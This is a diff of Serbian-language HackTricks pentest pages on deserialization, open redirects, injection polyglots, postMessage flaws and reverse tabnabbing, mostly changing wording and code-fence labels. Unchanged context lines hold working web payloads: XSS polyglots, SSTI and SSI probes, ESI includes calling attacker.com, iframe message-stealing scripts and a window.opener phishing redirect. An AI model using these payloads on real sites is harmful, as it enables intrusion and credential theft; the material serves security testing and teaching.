if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -572,15 +572,15 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
- **NotSoSerial** presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
|
||||
- **jdeserialize** omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno zlonamernog sadržaja.
|
||||
- **Kryo** je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati sigurnost.
|
||||
- **Kryo** je alternativni okvir za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurable strategije serijalizacije koje mogu poboljšati sigurnost.
|
||||
|
||||
### Reference
|
||||
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||||
- Deserialization i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- Deserializacija i ysoserial razgovor: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||||
- Razgovor o gadgetinspectoru: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Razgovor o gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||||
- Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||||
@ -588,9 +588,9 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
- Java i .Net JSON deserializacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** razgovor: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Deserializacije CVE-ovi: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||||
|
||||
## JNDI Injection & log4Shell
|
||||
## JNDI Injekcija & log4Shell
|
||||
|
||||
Pronađite šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
|
||||
Pronađite šta je **JNDI Injekcija, kako je zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Java Message Service
|
||||
|
||||
> **Java Message Service** (**JMS**) API je Java middleware API orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođač–potrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
|
||||
|
||||
### Proizvodi
|
||||
|
||||
@ -610,10 +610,10 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
|
||||
|
||||
### Eksploatacija
|
||||
|
||||
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive), mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
|
||||
Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive) mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
|
||||
To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
|
||||
|
||||
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos), i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
|
||||
Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos) i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
|
||||
|
||||
Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete**. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
|
||||
|
||||
@ -645,13 +645,13 @@ Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili b
|
||||
|
||||
U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **napravili eksploatacije deserializacije**. Kada preuzmete git repozitorijum, trebali biste **kompilirati alat** koristeći Visual Studio, na primer.
|
||||
|
||||
Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju**, možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
Ako želite da saznate **kako ysoserial.net pravi svoju eksploataciju** možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
||||
|
||||
Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
|
||||
|
||||
- **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
|
||||
- **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
|
||||
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
|
||||
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u) tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
|
||||
- **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
|
||||
|
||||
#### Više ysoserial.net parametara
|
||||
@ -705,8 +705,8 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva.\
|
||||
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na deserializaciju exploit koji **ysoserial.net** može stvoriti.
|
||||
U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno ta aplikacija takođe ranjiva.\
|
||||
Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na exploit deserializacije koji **ysoserial.net** može stvoriti.
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -720,11 +720,11 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
|
||||
- **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
|
||||
- **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može menjati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
|
||||
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
|
||||
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, poput `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
|
||||
- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
|
||||
- **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
|
||||
- **Budite informisani o poznatim nesigurnim deserializacijskim gadgetima** unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
|
||||
- **Izolujte potencijalno rizičan kod** od koda sa pristupom internetu kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
|
||||
- **Izolujte potencijalno rizičan kod** od koda sa internet pristupom kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
|
||||
|
||||
### **Reference**
|
||||
|
||||
@ -737,7 +737,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
|
||||
|
||||
U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar **marshal** biblioteke. Prva metoda, poznata kao **dump**, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
|
||||
|
||||
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu čuva se na jednom od nekoliko mogućih mesta:
|
||||
Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednom od nekoliko mogućih mesta:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -862,7 +862,7 @@ Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollut
|
||||
|
||||
Ova tehnika je preuzeta[ **iz ovog blog posta**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
|
||||
|
||||
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada god je deserializovana (funkcija za zloupotrebu za dobijanje RCE u suštini):
|
||||
Postoje druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i stoga bi mogle biti zloupotrebljene za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada se deserializuje (funkcija za zloupotrebu za dobijanje RCE u suštini):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je bilo moguće učiniti da preuzme nasumičnu URL adresu, pružajući odličan detektor ovih vrsta nesanitizovanih ranjivosti deserializacije.
|
||||
U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je omogućilo da se dohvati nasumična URL adresa, pružajući odličan detektor ovih vrsta nepročišćenih ranjivosti u deserializaciji.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
|
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
";alert(0);//
|
||||
```
|
||||
## Open Redirect učitavanje svg datoteka
|
||||
```markup
|
||||
```html
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<svg
|
||||
@ -171,5 +171,4 @@ exit;
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@ Cilj ovih PoC-ova i poliglotova je da testeru pruži brzi **pregled** ranjivosti
|
||||
> Ova **cheatsheet ne predlaže sveobuhvatan spisak testova za svaku ranjivost**, samo neke osnovne. Ako tražite sveobuhvatnije testove, pristupite svakoj predloženoj ranjivosti.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nećete pronaći injekcije zavisne od Content-Type-a kao što je XXE, jer ćete obično to pokušati sami ako pronađete zahtev koji šalje xml podatke. Takođe, ovde nećete pronaći injekcije u bazu podataka, jer čak i ako se neki sadržaj može odraziti, to u velikoj meri zavisi od tehnologije i strukture backend baze podataka.
|
||||
> Nećete pronaći injekcije zavisne od Content-Type-a kao što je XXE, jer ćete obično to pokušati sami ako pronađete zahtev koji šalje xml podatke. Takođe, ovde nećete pronaći injekcije u bazu podataka, jer čak i ako se neki sadržaj može odraziti, to u velikoj meri zavisi od tehnologije i strukture backend DB-a.
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -91,7 +91,7 @@ $(ls)
|
||||
## Dangling Markup
|
||||
|
||||
### Osnovni testovi
|
||||
```markup
|
||||
```html
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/index.html)
|
||||
@ -130,14 +130,14 @@ javascript:alert(1)
|
||||
## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
|
||||
### Osnovni testovi
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" -->
|
||||
<!--#exec cmd="ls" -->
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Полиглоти
|
||||
```markup
|
||||
```html
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
|
||||
@ -147,7 +147,7 @@ Isti testovi koji se koriste za Open Redirect mogu se koristiti i ovde.
|
||||
## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
|
||||
|
||||
### Osnovni Testovi
|
||||
```markup
|
||||
```html
|
||||
${{<%[%'"}}%\
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
@ -162,24 +162,24 @@ ${{7*7}}
|
||||
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
|
||||
### Osnovni testovi
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" />
|
||||
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
### Полиглоти
|
||||
```markup
|
||||
```html
|
||||
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
|
||||
```
|
||||
## XSS
|
||||
|
||||
### Osnovni testovi
|
||||
```markup
|
||||
```html
|
||||
" onclick=alert() a="
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Полиглоти
|
||||
```markup
|
||||
```html
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
|
@ -1,6 +1,6 @@
|
||||
# PostMessage ranjivosti
|
||||
# PostMessage Ranljivosti
|
||||
|
||||
## PostMessage ranjivosti
|
||||
## PostMessage Ranljivosti
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -40,7 +40,7 @@ Ako se koristi **wildcard**, **poruke se mogu slati bilo kojoj domeni**, i biće
|
||||
|
||||
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja **šalje osetljive** poruke putem **postMessage** koristeći **wildcard** (\*), možete **modifikovati** **izvor** **iframe-a** i **leak** **osetljivu** poruku na domen koji kontrolišete.\
|
||||
Napomena da ako stranica može biti iframed, ali je **targetOrigin** **postavljen na URL i ne na wildcard**, ova **trik neće raditi**.
|
||||
```markup
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
<script>
|
||||
@ -69,11 +69,11 @@ if (event.origin !== "http://example.org:8080") return
|
||||
false
|
||||
)
|
||||
```
|
||||
Napomena u ovom slučaju kako **prva stvar** koju kod radi je **provera porekla**. Ovo je strašno **važno**, posebno ako stranica planira da uradi **bilo šta osetljivo** sa primljenim informacijama (kao što je promena lozinke). **Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove krajnje tačke** i promene lozinke žrtava (u ovom primeru).
|
||||
Napomena u ovom slučaju kako **prva stvar** koju kod radi je **provera porekla**. Ovo je strašno **važno** posebno ako stranica planira da uradi **bilo šta osetljivo** sa primljenim informacijama (kao što je promena lozinke). **Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove krajnje tačke** i promene lozinke žrtava (u ovom primeru).
|
||||
|
||||
### Enumeracija
|
||||
|
||||
Da biste **pronašli slušaoce događaja** na trenutnoj stranici, možete:
|
||||
Da biste **pronašli slušaoce događaja** na trenutnoj stranici možete:
|
||||
|
||||
- **Pretražiti** JS kod za `window.addEventListener` i `$(window).on` (_JQuery verzija_)
|
||||
- **Izvršiti** u konzoli alata za razvoj: `getEventListeners(window)`
|
||||
@ -95,14 +95,14 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici, možete:
|
||||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||||
```
|
||||
|
||||
- **`search()`** metoda iz `String.prototype.search()` je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regexp dovodi do implicitne konverzije u regex, što čini metodu potencijalno nesigurnom. To je zato što u regex-u, tačka (.) deluje kao džoker, omogućavajući zaobilaženje validacije sa posebno kreiranim domenima. Na primer:
|
||||
- **`search()`** metoda iz `String.prototype.search()` je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regexp-a dovodi do implicitne konverzije u regex, što čini metodu potencijalno nesigurnom. To je zato što u regex-u, tačka (.) deluje kao džoker, omogućavajući zaobilaženje validacije sa posebno kreiranim domenima. Na primer:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
|
||||
- **`match()`** funkcija, slična `search()`, obrađuje regex. Ako je regex nepravilno strukturiran, može biti podložan zaobilaženju.
|
||||
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ona ne kreira novi bežani objekat, već prepisuje svojstva postojećeg objekta. Ovo ponašanje se može iskoristiti. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
|
||||
- **`escapeHtml`** funkcija je namenjena sanitizaciji unosa bežanjem karaktera. Međutim, ne stvara novi bežani objekat već prepisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće funkcionisati kako se očekuje. Ovo je prikazano u primerima ispod:
|
||||
|
||||
- Očekivani neuspeh:
|
||||
|
||||
@ -128,9 +128,9 @@ U kontekstu ove ranjivosti, `File` objekat je posebno podložan eksploataciji zb
|
||||
|
||||
Kada se ugrađuje web stranica unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo iframe-a biti postavljeno na null. Ovo je posebno važno kada se radi o **sandbox atributima** i njihovim implikacijama na bezbednost i funkcionalnost.
|
||||
|
||||
Specifikovanjem **`allow-popups`** u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da, osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora za iskačuće prozore je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
|
||||
Specifikovanjem **`allow-popups`** u sandbox atributu, svaki prozor koji se otvori iz iframe-a nasleđuje sandbox ograničenja svog roditelja. To znači da osim ako **`allow-popups-to-escape-sandbox`** atribut nije takođe uključen, poreklo prozora je takođe postavljeno na `null`, usklađujući se sa poreklom iframe-a.
|
||||
|
||||
Kao rezultat, kada se iskačući prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u iskačući prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se evaluira kao tačno (`null == null`), jer i iframe i iskačući prozor dele istu vrednost porekla `null`.
|
||||
Kao rezultat, kada se prozor otvori pod ovim uslovima i poruka se pošalje iz iframe-a u prozor koristeći **`postMessage`**, i pošiljalac i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** se ocenjuje kao tačno (`null == null`), jer i iframe i prozor dele istu vrednost porekla `null`.
|
||||
|
||||
Za više informacija **pročitajte**:
|
||||
|
||||
@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md
|
||||
|
||||
Da biste izvršili ove napade, idealno bi bilo da možete **staviti web stranicu žrtve** unutar `iframe`. Ali neki headeri poput `X-Frame-Header` mogu **sprečiti** to **ponašanje**.\
|
||||
U tim scenarijima možete i dalje koristiti manje prikriven napad. Možete otvoriti novu karticu za ranjivu web aplikaciju i komunicirati s njom:
|
||||
```markup
|
||||
```html
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### Krađa poruke modifikovanjem lokacije iframe-a
|
||||
|
||||
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **origin** na stranicu **pod njegovom kontrolom** i **ukrasti** poruku:
|
||||
Ako možete iframe-ovati veb stranicu bez X-Frame-Header koja sadrži drugi iframe, možete **promeniti lokaciju tog child iframe-a**, tako da ako prima **postmessage** poslatu koristeći **wildcard**, napadač može **promeniti** tu iframe **izvor** na stranicu **koju kontroliše** i **ukrasti** poruku:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
# Opis
|
||||
|
||||
U situaciji gde **napadač** može da **kontroliše** **`href`** argument **`<a`** taga sa atributom **`target="_blank" rel="opener"`** koji će biti kliknut od strane žrtve, **napadač** **usmerava** ovu **vezu** na web stranicu pod njegovom kontrolom (**maliciozna** **web stranica**). Kada **žrtva klikne** na link i pristupi napadačevoj web stranici, ova **maliciozna** **web stranica** će moći da **kontroliše** **originalnu** **stranicu** putem javascript objekta **`window.opener`**.\
|
||||
U situaciji gde **napadač** može **kontrolisati** **`href`** argument **`<a`** taga sa atributom **`target="_blank" rel="opener"`** koji će biti kliknut od strane žrtve, **napadač** **usmerava** ovu **vezu** na web stranicu pod njegovom kontrolom (**maliciozna** **web stranica**). Kada **žrtva klikne** na link i pristupi napadačevoj web stranici, ova **maliciozna** **web stranica** će moći da **kontroliše** **originalnu** **stranicu** putem javascript objekta **`window.opener`**.\
|
||||
Ako stranica nema **`rel="opener"` ali sadrži `target="_blank"` i takođe nema `rel="noopener"`**, takođe može biti ranjiva.
|
||||
|
||||
Uobičajen način za zloupotrebu ovog ponašanja bio bi da se **promeni lokacija originalnog web-a** putem `window.opener.location = https://attacker.com/victim.html` na web stranicu koju kontroliše napadač koja **izgleda kao originalna**, tako da može da **imitira** **formu za prijavu** originalne web stranice i traži od korisnika kredencijale.
|
||||
Uobičajen način zloupotrebe ovog ponašanja bio bi da se **promeni lokacija originalne web stranice** putem `window.opener.location = https://attacker.com/victim.html` na web stranicu koju kontroliše napadač koja **izgleda kao originalna**, tako da može **imitirati** **login** **formu** originalne web stranice i tražiti kredencijale od korisnika.
|
||||
|
||||
